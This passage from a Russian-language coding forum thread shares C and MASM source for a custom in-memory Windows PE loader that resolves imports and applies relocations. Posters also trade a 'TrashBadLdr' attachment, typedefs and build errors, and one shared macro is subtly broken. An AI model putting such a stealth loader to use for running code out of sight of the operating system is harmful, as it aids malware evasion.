	ULONG Ordinal;
	PIMAGE_IMPORT_BY_NAME ImportByName;
	ANSI_STRING FunctionName;
	APIS apis;
	
	st = LdrFindApi(&apis);
	if (!NT_SUCCESS(st)) return st;

	if (ImportModuleDirectory == NULL || ImportModuleDirectory->Name == 0) {
  return STATUS_UNSUCCESSFUL;
	}

	ImportAddressList = (PVOID *)RVA(ImportModuleDirectory->FirstThunk,ModuleBase);

	if (ImportModuleDirectory->OriginalFirstThunk != 0) {
  FunctionNameList = (PULONG)RVA(ImportModuleDirectory->OriginalFirstThunk,ModuleBase);
	} else {
  FunctionNameList = (PULONG)RVA(ImportModuleDirectory->FirstThunk,ModuleBase);
	}

	while (*FunctionNameList != 0L) {

  if ((*FunctionNameList) & 0x80000000) {
  	Ordinal = (*FunctionNameList) & 0x7fffffff;
  	st = apis.pLdrGetProcedureAddress((HMODULE)ImportedModule,0,(WORD)Ordinal,ImportAddressList);
  	if (!NT_SUCCESS(st)) return st;

  } else {
  	ImportByName = (PIMAGE_IMPORT_BY_NAME)RVA(*FunctionNameList,ModuleBase);

  	apis.pRtlInitAnsiString(&FunctionName,(PSTR)ImportByName->Name);
  	st = apis.pLdrGetProcedureAddress((HMODULE)ImportedModule,&FunctionName,0,ImportAddressList);
  	if (!NT_SUCCESS(st)) return st;
  }
  ImportAddressList++;
  FunctionNameList++;
	}
	return STATUS_SUCCESS;
}

NTSTATUS
LdrFixupImports(PVOID ModuleBase) {

	PIMAGE_IMPORT_DESCRIPTOR ImportModuleDirectory;
	PIMAGE_IMPORT_DESCRIPTOR ImportModuleDirectoryCurrent;
	NTSTATUS st;
	PCHAR ImportedName;
	ULONG Size;
	UNICODE_STRING UnicodeModule;
	PVOID ImportedModule;
	APIS apis;
	
	st = LdrFindApi(&apis);
	if (!NT_SUCCESS(st)) return st;

	ImportModuleDirectory = (PIMAGE_IMPORT_DESCRIPTOR)
  LdrImageDirectoryEntryToData(ModuleBase,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&Size);

	if (ImportModuleDirectory) {

  ImportModuleDirectoryCurrent = ImportModuleDirectory;

  while (ImportModuleDirectoryCurrent->Name) {

  	ImportedName = (PCHAR)RVA(ImportModuleDirectoryCurrent->Name,ModuleBase);

  	apis.pRtlCreateUnicodeStringFromAsciiz(&UnicodeModule,ImportedName);

  	st = apis.pLdrLoadDll(0,0,&UnicodeModule,&ImportedModule);
  	if (!NT_SUCCESS(st)) return st;
  	apis.pRtlFreeUnicodeString(&UnicodeModule);

  	st = LdrpProcessImportDirectoryEntry(ModuleBase,ImportedModule,ImportModuleDirectoryCurrent);
  	if (!NT_SUCCESS(st)) return st;

  	ImportModuleDirectoryCurrent++;
  }
	}
	return STATUS_SUCCESS;
}

NTSTATUS
LdrEndOfLoader(void) {
	return ERROR_SUCCESS;
}
и нормальным форматированием и подсветкой http://www.everfall.com/paste/id.php?3z5bl3gt0xou
опять же юзать на свой страх и риск, кодес старый
 
Кто вообще про это говорил, что за бред...
sry ap0x... наверное не так понял тебя...

el- спасибо за интересный кодес... будет что покурить после нг :)
 
Код:
	.386
	.model flat,stdcall
	option casemap:none
	include \masm32\include\windows.inc
.code
start:
	pop  eax
  push  SYSTEM_LOAD_IMPORT or EXECUTE_EP
  call  @f
  	include DLLSkeleton.inc
  @@:
	push  eax
	include BadLdr.inc
end start
 

Вложения

  • TrashBadLdr.rar
    2.4 КБ · Просмотры: 189
при запуске дллки с msvcrt.dll (с определением своего пути и далее Msg box по DllMain) выпал внутри msvcrt модуля... криво спарсился импорт?

p.s. трашген это не модифицированный memfile ?
p.s.s.
дай же сорец посмотреть, не в иде же с ним разбираться :)
присоединяюсь к el-:)
 
TrashGen сенкс за сурс, уважаю людей кто не стесняется и не жадничает свой сурс вот так взять и показать, ты пример!

el-
хочу поиграться с лоадером... в частности несколько вопросов
1. ppvoid pnt = (ppvoid)papis; < что тут имеется ввиду?
2. error C3861: RVA: идентификатор не найден < это дефайн или что?
3. ulong это ULONG? и pchar это PCHAR?
 
typedef unsigned char byte;
typedef unsigned long ulong;
typedef unsigned long* pulong;
typedef unsigned long** ppulong;
typedef unsigned short uword;
typedef unsigned int uint;
typedef char* pchar;
typedef void* pvoid;
typedef void** ppvoid;
typedef wchar_t wchar;
typedef wchar_t* pwchar;
typedef wchar_t** ppwchar;
typedef unsigned char uchar;
typedef unsigned char* puchar;
typedef bool* pbool;
typedef int* pint;
typedef unsigned char ** ppuchar;
typedef char ** ppchar;

#define RVA(m, B) ((ULONG)b + (ULONG)m)
 
эль спасибо, теперь гуд. типы жесть :)

Код:
  Relocation = LdrProcessRelocationBlockLongLong(
    (PVOID)(Relocation->VirtualAddress + (ULONG_PTR)ImageBase),
    (Relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / sizeof(USHORT),
    (PSHORT)((PUCHAR)Relocation + sizeof(IMAGE_BASE_RELOCATION)),
    BaseAddressDifference);

1>ldr.cpp
1>Компоновка...
1>ldr.obj : error LNK2001: неразрешенный внешний символ ""struct _IMAGE_BASE_RELOCATION * __cdecl LdrProcessRelocationBlockLongLong(void *,unsigned long,short *,unsigned long)" (?LdrProcessRelocationBlockLongLong@@YAPAU_IMAGE_BASE_RELOCATION@@PAXKPAFK@Z)"
1>X:\Codes\OOh\Ohh\Debug\Ohh.exe : fatal error LNK1120: 1 неразрешенных внешних элементов
1>Ohh - ошибок 2, предупреждений 0

упорно торчит ошибка... комменчу этот кусок кода - всё гуд...
и да... дефайн статусов где можно взять? гугл ничего вразумительного не даёт, пока закомментил, но охота чтобы кошерные статусы возвращались.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх